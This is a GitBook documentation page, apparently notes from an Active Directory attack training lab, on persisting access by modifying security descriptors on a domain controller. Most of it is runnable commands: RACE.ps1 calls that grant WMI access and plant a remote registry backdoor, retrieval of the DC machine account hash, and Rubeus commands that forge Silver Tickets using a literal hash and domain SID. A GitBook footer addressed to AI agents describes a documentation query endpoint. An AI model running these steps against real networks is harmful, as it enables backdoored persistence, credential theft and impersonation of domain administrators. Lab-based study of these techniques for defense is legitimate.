> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/modify-security-descriptors.md). # Modify security descriptors Once we have administrative privileges on a machine, we can modify security descriptors of services to access the services without administrative privileges. Below command (to be run as Domain Administrator) modifies the host security descriptors for WMI on the DC to allow studentx access to WMI: ``` c:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat ``` ``` . C:\AD\Tools\RACE.ps1 ``` ``` Set-RemoteWMI -SamAccountName studentx -ComputerName dcorp-dc -namespace 'root\cimv2' -Verbose ``` Now, we can run commands using PowerShell remoting on the DC without DA privileges * **To retrieve machine account hash without DA, first we need to modify permissions on the DC.** ``` . C:\AD\Tools\RACE.ps1 ``` ``` Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee studentx -Verbose ``` * Now, we can retreive hash as studentx: ``` . C:\AD\Tools\RACE.ps1 ``` ``` Get-RemoteMachineAccountHash -ComputerName dcorp-dc -Verbose ``` * We can use the machine account hash to create Silver Tickets. Create Silver Tickets for HOST and RPCSS using the machine account hash to execute WMI queries: ``` c:\AD\Tools\Rubeus.exe silver /service:host/dcorp-dc.dollarcorp.moneycorp.local /rc4: ccf528f631c96381e81e57eaff69b57a /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt ``` ``` c:\AD\Tools\Rubeus.exe silver /service:Rpcss/dcorp-dc.dollarcorp.moneycorp.local /rc4: ccf528f631c96381e81e57eaff69b57a /sid:S-1-5-21-719815819-3726368948-3917688648 /ldap /user:Administrator /domain:dollarcorp.moneycorp.local /ptt ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://omar-4.gitbook.io/omar-docs/attacks/modify-security-descriptors.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.